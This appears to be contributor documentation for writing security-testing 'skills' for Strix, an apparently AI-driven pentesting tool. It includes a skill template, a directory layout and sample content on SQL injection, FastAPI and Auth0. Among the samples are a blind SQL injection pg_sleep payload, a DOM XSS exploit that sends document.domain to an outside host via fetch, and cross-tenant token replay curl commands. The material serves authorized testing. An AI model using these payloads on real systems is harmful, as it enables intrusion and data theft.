Creating Skills

---
name: skill-name
description: Brief description of what this skill covers
---

# Skill Title

Opening paragraph explaining the vulnerability, framework, or technology.

## Attack Surface

Identify what components, features, or integration points are relevant.

## Key Vulnerabilities

Core exploitation patterns with examples.

## Bypass Techniques

Methods to evade common defenses.

## Testing Methodology

Step-by-step approach for testing.

## Validation

How to confirm true positives with evidence.

## False Positives

Common scenarios that appear vulnerable but aren't.

## Impact

Consequences of successful exploitation.

## Pro Tips

Advanced insights and best practices.

## Summary

Concise takeaway and key principles.

### Blind Extraction

- Branch on single-bit predicates using `SUBSTRING`/`ASCII`, `LEFT`/`RIGHT`, or JSON/array operators
- Binary search on character space for fewer requests
- Encode outputs (hex/base64) to normalize
- Gate delays inside subqueries to reduce noise: `AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)`

// Vulnerable Pattern
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;

// Exploit
?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>

1. Demonstrate access to an object not owned by the caller (content or metadata)
2. Show the same request fails with appropriately enforced authorization when corrected
3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL)
4. Document tenant boundary violations (if applicable)
5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner)

**Dependency Injection Gaps**
- Routes missing security dependencies present on other routes
- `Depends` used instead of `Security` (ignores scope enforcement)
- Token presence treated as authentication without signature verification
- `OAuth2PasswordBearer` only yields a token string—verify routes don't treat presence as auth

strix/skills/
├── vulnerabilities/
│   ├── sql_injection.md
│   ├── xss.md
│   ├── idor.md
│   └── ...
├── frameworks/
│   ├── fastapi.md
│   ├── nextjs.md
│   └── ...
├── technologies/
│   ├── supabase.md
│   ├── firebase_firestore.md
│   └── ...
├── protocols/
│   ├── graphql.md
│   └── ...
├── cloud/
├── reconnaissance/
└── custom/

---
name: skill-name
description: Brief description covering key techniques and scope
---

---
name: sql-injection
description: SQL injection testing covering union, blind, error-based, and ORM bypass techniques
---

---
name: fastapi
description: Security testing playbook for FastAPI applications covering ASGI, dependency injection, and API vulnerabilities
---

---
name: auth0
description: Auth0 security testing covering tenant isolation, rule bypasses, and token validation
---

# Auth0

Security testing for applications using Auth0 for authentication and authorization. Focus on tenant isolation, custom rules/actions, API authorization, and cross-service token validation.

## Attack Surface

**Authentication Flows**
- Universal Login, embedded login, passwordless
- Social connections, enterprise SAML/OIDC
- Multi-factor authentication

**Authorization**
- RBAC roles and permissions
- Custom claims in tokens
- API scopes and audiences

**Extensibility**
- Rules, Hooks, Actions (Node.js code execution)
- Custom databases and scripts
- Webtask/serverless context

## High-Value Targets

- Management API endpoints
- Custom database connection scripts
- Rules/Actions modifying token claims
- Tenant isolation boundaries
- Cross-origin authentication
- MFA enrollment and bypass flows

## Key Vulnerabilities

### Token Validation

**Common Issues**
- Accepting tokens from wrong tenant (issuer mismatch)
- Missing audience validation for API authorization
- Algorithm confusion (RS256 vs HS256)
- Custom claims trusted without verification

**Tests**
```bash
# Replay token across tenants
curl -H "Authorization: Bearer <other-tenant-token>" https://api.example.com/protected

# Test audience validation
curl -H "Authorization: Bearer <wrong-audience-token>" https://api.example.com/protected

## Testing Your Skill

Before contributing, verify your skill:

1. **Validate frontmatter** - Ensure YAML is correctly formatted
2. **Check examples** - Test that code examples and payloads are accurate
3. **Review structure** - Confirm all major sections are present
4. **Test loading** - Verify the skill can be loaded by Strix

```python
from strix.skills import load_skills

# Test loading your skill
result = load_skills(["your-skill-name"])
print(result)